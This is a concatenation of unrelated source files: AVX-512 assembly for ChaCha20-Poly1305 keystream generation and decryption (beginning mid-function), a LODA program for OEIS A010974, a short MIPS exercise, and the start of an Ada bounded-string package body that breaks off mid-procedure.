; Reload first two registers zmm0 and 1,
; as they have been overwritten by the previous macros
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
; Increment counter values
vpaddd zmm12, [rel add_16]
cmp len, 64*16
jae start_loop_poly
exit_loop_poly:
; Check if there are partial block (less than 16*64 bytes)
or len, len
jz no_partial_block_poly
cmp len, 64*8
ja more_than_8_blocks_left_poly
cmp len, 64*4
ja more_than_4_blocks_left_poly
;; up to 4 blocks left
; Get last block counter dividing offset by 64
shr off, 6
; Check if Poly key has been generated
or added_len, added_len
jz prepare_four_states
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 4, gen_poly_key
jmp four_states_prepared
prepare_four_states:
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 4, no_key
four_states_prepared:
shl off, 6 ; Restore offset
; Use same first 4 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, none, none, none, none, \
zmm0, zmm1, zmm2, zmm3, none, \
zmm8, zmm9, zmm10, zmm11, 4
jmp ks_gen_done_poly
more_than_4_blocks_left_poly:
;; up to 8 blocks left
; Get last block counter dividing offset by 64
shr off, 6
;; up to 8 blocks left
; Check if Poly key has been generated
or added_len, added_len
jz prepare_eight_states
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 8, gen_poly_key
jmp eight_states_prepared
prepare_eight_states:
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 8, no_key
eight_states_prepared:
shl off, 6 ; Restore offset
; Use same first 8 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, zmm10, zmm11, 8
jmp ks_gen_done_poly
more_than_8_blocks_left_poly:
; Generate another 64*16 bytes of keystream and XOR only the leftover plaintext
GENERATE_1K_KS zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15
ks_gen_done_poly:
; Reduce number of bytes used for the Poly key
sub len, added_len
; Calculate number of final blocks
mov tmp, len
add tmp, 63
shr tmp, 6
jz final_num_blocks_is_0_poly
cmp tmp, 8
je final_num_blocks_is_8_poly
jb final_num_blocks_is_1_7_poly
; Final blocks 9-16
cmp tmp, 12
je final_num_blocks_is_12_poly
jb final_num_blocks_is_9_11_poly
; Final blocks 13-16
cmp tmp, 14
je final_num_blocks_is_14_poly
jb final_num_blocks_is_13_poly
cmp tmp, 15
je final_num_blocks_is_15_poly
jmp final_num_blocks_is_16_poly
final_num_blocks_is_9_11_poly:
cmp tmp, 10
je final_num_blocks_is_10_poly
jb final_num_blocks_is_9_poly
ja final_num_blocks_is_11_poly
final_num_blocks_is_1_7_poly:
; Final blocks 1-7
cmp tmp, 4
je final_num_blocks_is_4_poly
jb final_num_blocks_is_1_3_poly
; Final blocks 5-7
cmp tmp, 6
je final_num_blocks_is_6_poly
jb final_num_blocks_is_5_poly
ja final_num_blocks_is_7_poly
final_num_blocks_is_1_3_poly:
cmp tmp, 2
je final_num_blocks_is_2_poly
ja final_num_blocks_is_3_poly
; 1 final block if no jump
%assign I 1
%rep 16
APPEND3(final_num_blocks_is_, I, _poly):
lea tmp, [rel len_to_mask]
and len, 63
kmovq k1, [tmp + len*8]
ENCRYPT_1_16_BLOCKS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm20, zmm21, zmm31, zmm27, zmm28, zmm22, zmm30, zmm18, \
zmm0, src, dst, off, k1, I, gen_poly_key
jmp no_partial_block_poly
%assign I (I + 1)
%endrep
final_num_blocks_is_0_poly:
; Generate Poly key
GEN_POLY_KEY arg2, zmm25
no_partial_block_poly:
%ifdef SAFE_DATA
clear_all_zmms_asm
%endif
mov rax, job
or dword [rax + _status], IMB_STATUS_COMPLETED_CIPHER
mov r12, [rsp]
mov r13, [rsp + 8]
add rsp, 16
ret
align 32
MKGLOBAL(gen_keystr_poly_key_avx512,function,internal)
gen_keystr_poly_key_avx512:
endbranch64
%define keys arg1
%define iv arg2
%define len arg3
%define ks arg4
%define off rax
; Generate up to 1KB of keystream
; If less than or equal to 64*8 bytes, prepare directly states for up to 8 blocks
cmp len, 64*8
jbe less_than_512_ks
; Prepare first 16 chacha20 states from IV, key, constants and counter values
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
vpbroadcastd zmm2, [rel constants + 8]
vpbroadcastd zmm3, [rel constants + 12]
vpbroadcastd zmm4, [keys]
vpbroadcastd zmm5, [keys + 4]
vpbroadcastd zmm6, [keys + 8]
vpbroadcastd zmm7, [keys + 12]
vpbroadcastd zmm8, [keys + 16]
vpbroadcastd zmm9, [keys + 20]
vpbroadcastd zmm10, [keys + 24]
vpbroadcastd zmm11, [keys + 28]
vpbroadcastd zmm13, [iv]
vpbroadcastd zmm14, [iv + 4]
vpbroadcastd zmm15, [iv + 8]
;; Set first 16 counter values (including 0 for poly key)
vmovdqa64 zmm12, [rel set_0_15]
GENERATE_1K_KS zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15
; Clamp first 16 bytes of keystream (in zmm25), for poly key
vpandq ymm25, [rel poly_clamp_r]
; Write out 1KB of KS
vmovdqa64 [ks], zmm25
vmovdqa64 [ks + 64], zmm16
vmovdqa64 [ks + 64*2], zmm17
vmovdqa64 [ks + 64*3], zmm29
vmovdqa64 [ks + 64*4], zmm19
vmovdqa64 [ks + 64*5], zmm24
vmovdqa64 [ks + 64*6], zmm26
vmovdqa64 [ks + 64*7], zmm23
vmovdqa64 [ks + 64*8], zmm20
vmovdqa64 [ks + 64*9], zmm21
vmovdqa64 [ks + 64*10], zmm31
vmovdqa64 [ks + 64*11], zmm27
vmovdqa64 [ks + 64*12], zmm28
vmovdqa64 [ks + 64*13], zmm22
vmovdqa64 [ks + 64*14], zmm30
vmovdqa64 [ks + 64*15], zmm18
ret
less_than_512_ks:
cmp len, 64*4
ja more_than_256_ks
xor off, off
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k1, 4, gen_poly_key
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, none, none, none, none, \
zmm0, zmm1, zmm2, zmm3, none, \
zmm8, zmm9, zmm10, zmm11, 4
; Clamp first 16 bytes of keystream (in zmm25), for poly key
vpandq ymm25, [rel poly_clamp_r]
; Write out 256B of KS
vmovdqa64 [ks], zmm25
vmovdqa64 [ks + 64], zmm16
vmovdqa64 [ks + 64*2], zmm17
vmovdqa64 [ks + 64*3], zmm29
ret
more_than_256_ks:
xor off, off
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k1, 8, gen_poly_key
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, zmm10, zmm11, 8
; Clamp first 16 bytes of keystream (in zmm25), for poly key
vpandq ymm25, [rel poly_clamp_r]
; Write out 512B of KS
vmovdqa64 [ks], zmm25
vmovdqa64 [ks + 64], zmm16
vmovdqa64 [ks + 64*2], zmm17
vmovdqa64 [ks + 64*3], zmm29
vmovdqa64 [ks + 64*4], zmm19
vmovdqa64 [ks + 64*5], zmm24
vmovdqa64 [ks + 64*6], zmm26
vmovdqa64 [ks + 64*7], zmm23
ret
align 32
MKGLOBAL(submit_job_chacha20_poly_dec_avx512,function,internal)
submit_job_chacha20_poly_dec_avx512:
endbranch64
%define src r8
%define dst r9
%define len r10
%define iv r11
%ifdef LINUX
%define keys rdx
%else
%define keys rsi
%endif
%define tmp keys
%define off rax
%define ks arg2
%define len_xor iv
%ifndef LINUX
push rsi
%endif
mov len_xor, arg3
; Check if there is ciphertext to decrypt
or len_xor, len_xor
jz no_partial_block_dec
; XOR ciphertext with existing keystream, generated previously
mov src, [job + _src]
add src, [job + _cipher_start_src_offset_in_bytes]
mov dst, [job + _dst]
xor off, off
; Calculate number of initial blocks
mov tmp, len_xor
add tmp, 63
shr tmp, 6
cmp tmp, 8
je initial_dec_num_blocks_is_8
jb initial_dec_num_blocks_is_1_7
; Initial blocks 9-15
cmp tmp, 12
je initial_dec_num_blocks_is_12
jb initial_dec_num_blocks_is_9_11
; Initial blocks 13-15
cmp tmp, 14
je initial_dec_num_blocks_is_14
jb initial_dec_num_blocks_is_13
cmp tmp, 15
je initial_dec_num_blocks_is_15
initial_dec_num_blocks_is_9_11:
cmp tmp, 10
je initial_dec_num_blocks_is_10
jb initial_dec_num_blocks_is_9
ja initial_dec_num_blocks_is_11
initial_dec_num_blocks_is_1_7:
; Initial blocks 1-7
cmp tmp, 4
je initial_dec_num_blocks_is_4
jb initial_dec_num_blocks_is_1_3
; Initial blocks 5-7
cmp tmp, 6
je initial_dec_num_blocks_is_6
jb initial_dec_num_blocks_is_5
ja initial_dec_num_blocks_is_7
initial_dec_num_blocks_is_1_3:
cmp tmp, 2
je initial_dec_num_blocks_is_2
ja initial_dec_num_blocks_is_3
; 1 Initial block if no jump
%assign I 1
%rep 15
APPEND(initial_dec_num_blocks_is_, I):
lea tmp, [rel len_to_mask]
mov len, len_xor
and len, 63
kmovq k1, [tmp + len*8]
; Read Keystream from memory
%assign J 0
%rep I
vmovdqa64 APPEND(zmm, J), [ks + J*64]
%assign J (J+1)
%endrep
ENCRYPT_1_16_BLOCKS zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, \
zmm16, src, dst, off, k1, I, 0
add off, 64*I
; Check if less than 15*64 bytes have been decrypted (meaning there are no more to decrypt)
cmp len_xor, 15*64
jb no_partial_block_dec
; If there were 15*64 bytes, check if there are more bytes to decrypt
jmp resume_dec
%assign I (I + 1)
%endrep
resume_dec:
; Get remaining length to decrypt
mov len, [job + _msg_len_to_cipher_in_bytes]
sub len, off
mov keys, [job + _enc_keys]
mov iv, [job + _iv]
; If less than or equal to 64*8 bytes, prepare directly states for up to 8 blocks
cmp len, 64*8
jbe exit_loop_dec
; Prepare first 16 chacha20 states from IV, key, constants and counter values
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
vpbroadcastd zmm2, [rel constants + 8]
vpbroadcastd zmm3, [rel constants + 12]
vpbroadcastd zmm4, [keys]
vpbroadcastd zmm5, [keys + 4]
vpbroadcastd zmm6, [keys + 8]
vpbroadcastd zmm7, [keys + 12]
vpbroadcastd zmm8, [keys + 16]
vpbroadcastd zmm9, [keys + 20]
vpbroadcastd zmm10, [keys + 24]
vpbroadcastd zmm11, [keys + 28]
vpbroadcastd zmm13, [iv]
vpbroadcastd zmm14, [iv + 4]
vpbroadcastd zmm15, [iv + 8]
; Get last block counter dividing offset by 64
shr off, 6
;; Set next 16 counter values
vpbroadcastd zmm12, DWORD(off)
shl off, 6
vpaddd zmm12, [rel set_1_16]
cmp len, 64*16
jb exit_loop_dec
align 32
start_loop_dec:
ENCRYPT_1K zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, src, dst, off, 0
; Update remaining length
sub len, 64*16
add off, 64*16
; Reload first two registers zmm0 and 1,
; as they have been overwritten by the previous macros
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
; Increment counter values
vpaddd zmm12, [rel add_16]
cmp len, 64*16
jae start_loop_dec
exit_loop_dec:
; Check if there are partial block (less than 16*64 bytes)
or len, len
jz no_partial_block_dec
cmp len, 64*8
ja more_than_8_blocks_left_dec
cmp len, 64*4
ja more_than_4_blocks_left_dec
;; up to 4 blocks left
; Get last block counter dividing offset by 64
shr off, 6
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 4, 0
shl off, 6 ; Restore offset
; Use same first 4 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, none, none, none, none, \
zmm0, zmm1, zmm2, zmm3, none, \
zmm8, zmm9, zmm10, zmm11, 4
jmp ks_gen_done_dec
more_than_4_blocks_left_dec:
;; up to 8 blocks left
; Get last block counter dividing offset by 64
shr off, 6
;; up to 8 blocks left
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 8, 0
shl off, 6 ; Restore offset
; Use same first 8 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, zmm10, zmm11, 8
jmp ks_gen_done_dec
more_than_8_blocks_left_dec:
; Generate another 64*16 bytes of keystream and XOR only the leftover plaintext
GENERATE_1K_KS zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15
ks_gen_done_dec:
; Calculate number of final blocks
mov tmp, len
add tmp, 63
shr tmp, 6
cmp tmp, 8
je final_dec_num_blocks_is_8
jb final_dec_num_blocks_is_1_7
; Final blocks 9-16
cmp tmp, 12
je final_dec_num_blocks_is_12
jb final_dec_num_blocks_is_9_11
; Final blocks 13-16
cmp tmp, 14
je final_dec_num_blocks_is_14
jb final_dec_num_blocks_is_13
cmp tmp, 15
je final_dec_num_blocks_is_15
jmp final_dec_num_blocks_is_16
final_dec_num_blocks_is_9_11:
cmp tmp, 10
je final_dec_num_blocks_is_10
jb final_dec_num_blocks_is_9
ja final_dec_num_blocks_is_11
final_dec_num_blocks_is_1_7:
; Final blocks 1-7
cmp tmp, 4
je final_dec_num_blocks_is_4
jb final_dec_num_blocks_is_1_3
; Final blocks 5-7
cmp tmp, 6
je final_dec_num_blocks_is_6
jb final_dec_num_blocks_is_5
ja final_dec_num_blocks_is_7
final_dec_num_blocks_is_1_3:
cmp tmp, 2
je final_dec_num_blocks_is_2
ja final_dec_num_blocks_is_3
; 1 final block if no jump
%assign I 1
%rep 16
APPEND(final_dec_num_blocks_is_, I):
lea tmp, [rel len_to_mask]
and len, 63
kmovq k1, [tmp + len*8]
ENCRYPT_1_16_BLOCKS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm20, zmm21, zmm31, zmm27, zmm28, zmm22, zmm30, zmm18, \
zmm0, src, dst, off, k1, I, 0
jmp no_partial_block_dec
%assign I (I + 1)
%endrep
no_partial_block_dec:
%ifdef SAFE_DATA
clear_all_zmms_asm
; Clear stored keystreams in stack
%assign i 0
%rep 15
vmovdqa64 [ks + 64*i], zmm0
%assign i (i + 1)
%endrep
%endif
mov rax, job
or dword [rax + _status], IMB_STATUS_COMPLETED_CIPHER
%ifndef LINUX
pop rsi
%endif
ret
align 32
MKGLOBAL(chacha20_enc_dec_ks_avx512,function,internal)
chacha20_enc_dec_ks_avx512:
endbranch64
%define blk_cnt r10
%define prev_ks r13
%define remain_ks r12
%define ctx r11
%define src arg1
%define dst arg2
%define len arg3
%define keys arg4
%define iv r15
%define off rax
%define tmp iv
%define tmp3 r14
%define tmp4 rbp
%define tmp5 rbx
%ifdef LINUX
%define tmp2 r9
%else
%define tmp2 rdi
%endif
; Check if there is nothing to encrypt
or len, len
jz exit_ks
mov ctx, arg5
sub rsp, 8*7
mov [rsp], r12
mov [rsp + 8], r13
mov [rsp + 16], r14
mov [rsp + 24], r15
mov [rsp + 32], rbx
mov [rsp + 40], rbp
%ifndef LINUX
mov [rsp + 48], rdi
%endif
xor off, off
mov blk_cnt, [ctx + LastBlkCount]
lea prev_ks, [ctx + LastKs]
mov remain_ks, [ctx + RemainKsBytes]
; Check if there are any remaining bytes of keystream
mov tmp3, remain_ks
or tmp3, tmp3
jz no_remain_ks_bytes
mov tmp4, 64
sub tmp4, tmp3
; Adjust pointer of previous KS to point at start of unused KS
add prev_ks, tmp4
; Set remaining bytes to length of input segment, if lower
cmp len, tmp3
cmovbe tmp3, len
mov tmp5, tmp3
lea tmp, [rel len_to_mask]
and tmp3, 63
kmovq k1, [tmp + tmp3*8]
; Read up to 63 bytes of KS and XOR the first bytes of message
; with the previous unused bytes of keystream
vmovdqu8 zmm0{k1}, [src]
vmovdqu8 zmm1{k1}, [prev_ks]
vpxorq zmm1, zmm0
vmovdqu8 [dst]{k1}, zmm1
add src, tmp3
add dst, tmp3
; Update remain bytes of KS
sub [ctx + RemainKsBytes], tmp5
; Restore pointer to previous KS
sub prev_ks, tmp4
sub len, tmp5
jz no_partial_block_ks
no_remain_ks_bytes:
; Reset remaining number of KS bytes
mov qword [ctx + RemainKsBytes], 0
lea iv, [ctx + IV]
mov tmp5, 0xffffffffffffffff
kmovq k1, tmp5
; If less than or equal to 64*8 bytes, prepare directly states for up to 8 blocks
cmp len, 64*8
jbe exit_loop_ks
; Prepare first 16 chacha20 states from IV, key, constants and counter values
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
vpbroadcastd zmm2, [rel constants + 8]
vpbroadcastd zmm3, [rel constants + 12]
vpbroadcastd zmm4, [keys]
vpbroadcastd zmm5, [keys + 4]
vpbroadcastd zmm6, [keys + 8]
vpbroadcastd zmm7, [keys + 12]
vpbroadcastd zmm8, [keys + 16]
vpbroadcastd zmm9, [keys + 20]
vpbroadcastd zmm10, [keys + 24]
vpbroadcastd zmm11, [keys + 28]
vpbroadcastd zmm13, [iv]
vpbroadcastd zmm14, [iv + 4]
vpbroadcastd zmm15, [iv + 8]
;; Set block counter s for the next 16 Chacha20 states
vpbroadcastd zmm12, DWORD(blk_cnt)
vpaddd zmm12, [rel set_1_16]
cmp len, 64*16
jb exit_loop_ks
align 32
start_loop_ks:
ENCRYPT_1K zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, src, dst, off, 0
; Update remaining length
sub len, 64*16
add off, 64*16
add blk_cnt, 16
; Reload first two registers zmm0 and 1,
; as they have been overwritten by the previous macros
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
; Increment counter values
vpaddd zmm12, [rel add_16]
cmp len, 64*16
jae start_loop_ks
exit_loop_ks:
; Check if there are partial block (less than 16*64 bytes)
or len, len
jz no_partial_block_ks
cmp len, 64*8
ja more_than_8_blocks_left_ks
cmp len, 64*4
ja more_than_4_blocks_left_ks
;; up to 4 blocks left
; Get last block counter dividing offset by 64
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, blk_cnt, iv, keys, k2, 4, no_key
; Use same first 4 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, none, none, none, none, \
zmm0, zmm1, zmm2, zmm3, none, \
zmm8, zmm9, zmm10, zmm11, 4
jmp ks_gen_done_ks
more_than_4_blocks_left_ks:
;; up to 8 blocks left
; Get last block counter dividing offset by 64
;; up to 8 blocks left
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, blk_cnt, iv, keys, k2, 8, no_key
; Use same first 8 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, zmm10, zmm11, 8
jmp ks_gen_done_ks
more_than_8_blocks_left_ks:
; Generate another 64*16 bytes of keystream and XOR only the leftover plaintext
GENERATE_1K_KS zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15
ks_gen_done_ks:
; Calculate number of final blocks
mov tmp, len
add tmp, 63
shr tmp, 6
cmp tmp, 8
je final_num_blocks_is_8_ks
jb final_num_blocks_is_1_7_ks
; Final blocks 9-16
cmp tmp, 12
je final_num_blocks_is_12_ks
jb final_num_blocks_is_9_11_ks
; Final blocks 13-16
cmp tmp, 14
je final_num_blocks_is_14_ks
jb final_num_blocks_is_13_ks
cmp tmp, 15
je final_num_blocks_is_15_ks
jmp final_num_blocks_is_16_ks
final_num_blocks_is_9_11_ks:
cmp tmp, 10
je final_num_blocks_is_10_ks
jb final_num_blocks_is_9_ks
ja final_num_blocks_is_11_ks
final_num_blocks_is_1_7_ks:
; Final blocks 1-7
cmp tmp, 4
je final_num_blocks_is_4_ks
jb final_num_blocks_is_1_3_ks
; Final blocks 5-7
cmp tmp, 6
je final_num_blocks_is_6_ks
jb final_num_blocks_is_5_ks
ja final_num_blocks_is_7_ks
final_num_blocks_is_1_3_ks:
cmp tmp, 2
je final_num_blocks_is_2_ks
ja final_num_blocks_is_3_ks
; 1 final block if no jump
%assign I 1
%rep 16
APPEND3(final_num_blocks_is_, I, _ks):
lea tmp, [rel len_to_mask]
and len, 63
kmovq k1, [tmp + len*8]
ENCRYPT_1_16_BLOCKS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm20, zmm21, zmm31, zmm27, zmm28, zmm22, zmm30, zmm18, \
zmm0, src, dst, off, k1, I, 0, prev_ks
add blk_cnt, I
; Update remain number of KS bytes
mov tmp, 64
sub tmp, len
and tmp, 63
mov [ctx + RemainKsBytes], tmp
jmp no_partial_block_ks
%assign I (I + 1)
%endrep
no_partial_block_ks:
mov [ctx + LastBlkCount], blk_cnt
mov r12, [rsp]
mov r13, [rsp + 8]
mov r14, [rsp + 16]
mov r15, [rsp + 24]
mov rbx, [rsp + 32]
mov rbp, [rsp + 40]
%ifndef LINUX
mov rdi, [rsp + 48]
%endif
add rsp, 8*7
%ifdef SAFE_DATA
clear_all_zmms_asm
%endif
exit_ks:
ret
mksection stack-noexec
|
programs/oeis/010/A010974.asm | karttu/loda | 1 | 93551 | <reponame>karttu/loda
; A010974: a(n) = binomial(n,21).
; 1,22,253,2024,12650,65780,296010,1184040,4292145,14307150,44352165,129024480,354817320,927983760,2319959400,5567902560,12875774670,28781143380,62359143990,131282408400,269128937220,538257874440,1052049481860,2012616400080,3773655750150,6943526580276,12551759587422,22314239266528,39049918716424,67327446062800,114456658306760,191991813933920,317986441828055,520341450264090,841728816603675,1346766106565880,2132379668729310,3342649210440540,5189902721473470,7984465725343800
add $0,21
mov $1,$0
bin $1,21
|
A8 - Elementos operativos de um Datapath single-cycle/getMem.asm | ZePaiva/ACI | 0 | 5246 | <reponame>ZePaiva/ACI
.data
.text
.globl main
main:
addi $2, $0, 0x1a
addi $3, $0, -7
add $4, $2, $3
sub $5, $2, $3
and $6, $2, $3
or $7, $2, $3
nor $8, $2, $3
xor $9, $2, $3
slt $10, $2, $3
slti $11, $7, -7
slti $12, $9, -25
nop
jr $ra |
1-base/lace/source/strings/lace-strings-superbounded.adb | charlie5/lace-alire | 1 | 15103 | with
lace.Strings.search;
package body lace.Strings.superbounded
is
use ada.Strings.Maps;
------------
-- Concat --
------------
function Concat
(Left : Super_String;
Right : Super_String) return Super_String
is
begin
return Result : Super_String (Left.Max_Length) do
declare
Llen : constant Natural := Left.Current_Length;
Rlen : constant Natural := Right.Current_Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen > Left.Max_Length then
raise Ada.Strings.Length_Error;
end if;
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Nlen) := Right.Data (1 .. Rlen);
end;
end return;
end Concat;
function Concat
(Left : Super_String;
Right : String) return Super_String
is
begin
return Result : Super_String (Left.Max_Length) do
declare
Llen : constant Natural := Left.Current_Length;
Nlen : constant Natural := Llen + Right'Length;
begin
if Nlen > Left.Max_Length then
raise Ada.Strings.Length_Error;
end if;
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Llen + 1 .. Nlen) := Right;
end;
end return;
end Concat;
function Concat
(Left : String;
Right : Super_String) return Super_String
is
begin
return Result : Super_String (Right.Max_Length) do
declare
Llen : constant Natural := Left'Length;
Rlen : constant Natural := Right.Current_Length;
Nlen : constant Natural := Llen + Rlen;
begin
if Nlen > Right.Max_Length then
raise Ada.Strings.Length_Error;
end if;
Result.Current_Length := Nlen;
Result.Data (1 .. Llen) := Left;
Result.Data (Llen + 1 .. Nlen) := Right.Data (1 .. Rlen);
end;
end return;
end Concat;
function Concat
(Left : Super_String;
Right : Character) return Super_String
is
begin
return Result : Super_String (Left.Max_Length) do
declare
Llen : constant Natural := Left.Current_Length;
begin
if Llen = Left.Max_Length then
raise Ada.Strings.Length_Error;
end if;
Result.Current_Length := Llen + 1;
Result.Data (1 .. Llen) := Left.Data (1 .. Llen);
Result.Data (Result.Current_Length) := Right;
end;
end return;
end Concat;
function Concat
(Left : Character;
Right : Super_String) return Super_String
is
begin
return Result : Super_String (Right.Max_Length) do
declare
Rlen : constant Natural := Right.Current_Length;
begin
if Rlen = Right.Max_Length then
raise Ada.Strings.Length_Error;
end if;
Result.Current_Length := Rlen + 1;
Result.Data (1) := Left;
Result.Data (2 .. Result.Current_Length) :=
Right.Data (1 .. Rlen);
end;
end return;
end Concat;
-----------
-- Equal --
-----------
overriding
function "="
(Left : Super_String;
Right : Super_String) return Boolean
is
begin
return Left.Current_Length = Right.Current_Length
and then Left.Data (1 .. Left.Current_Length) =
Right.Data (1 .. Right.Current_Length);
end "=";
function Equal
(Left : Super_String;
Right : String) return Boolean
is
begin
return Left.Current_Length = Right'Length
and then Left.Data (1 .. Left.Current_Length) = Right;
end Equal;
function Equal
(Left : String;
Right : Super_String) return Boolean
is
begin
return Left'Length = Right.Current_Length
and then Left = Right.Data (1 .. Right.Current_Length);
end Equal;
-------------
-- Greater --
-------------
function Greater
(Left : Super_String;
Right : Super_String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) >
Right.Data (1 .. Right.Current_Length);
end Greater;
function Greater
(Left : Super_String;
Right : String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) > Right;
end Greater;
function Greater
(Left : String;
Right : Super_String) return Boolean
is
begin
return Left > Right.Data (1 .. Right.Current_Length);
end Greater;
----------------------
-- Greater_Or_Equal --
----------------------
function Greater_Or_Equal
(Left : Super_String;
Right : Super_String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) >=
Right.Data (1 .. Right.Current_Length);
end Greater_Or_Equal;
function Greater_Or_Equal
(Left : Super_String;
Right : String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) >= Right;
end Greater_Or_Equal;
function Greater_Or_Equal
(Left : String;
Right : Super_String) return Boolean
is
begin
return Left >= Right.Data (1 .. Right.Current_Length);
end Greater_Or_Equal;
----------
-- Less --
----------
function Less
(Left : Super_String;
Right : Super_String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) <
Right.Data (1 .. Right.Current_Length);
end Less;
function Less
(Left : Super_String;
Right : String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) < Right;
end Less;
function Less
(Left : String;
Right : Super_String) return Boolean
is
begin
return Left < Right.Data (1 .. Right.Current_Length);
end Less;
-------------------
-- Less_Or_Equal --
-------------------
function Less_Or_Equal
(Left : Super_String;
Right : Super_String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) <=
Right.Data (1 .. Right.Current_Length);
end Less_Or_Equal;
function Less_Or_Equal
(Left : Super_String;
Right : String) return Boolean
is
begin
return Left.Data (1 .. Left.Current_Length) <= Right;
end Less_Or_Equal;
function Less_Or_Equal
(Left : String;
Right : Super_String) return Boolean
is
begin
return Left <= Right.Data (1 .. Right.Current_Length);
end Less_Or_Equal;
----------------------
-- Set_Super_String --
----------------------
procedure Set_Super_String
(Target : out Super_String;
Source : String;
Drop : Truncation := Error)
is
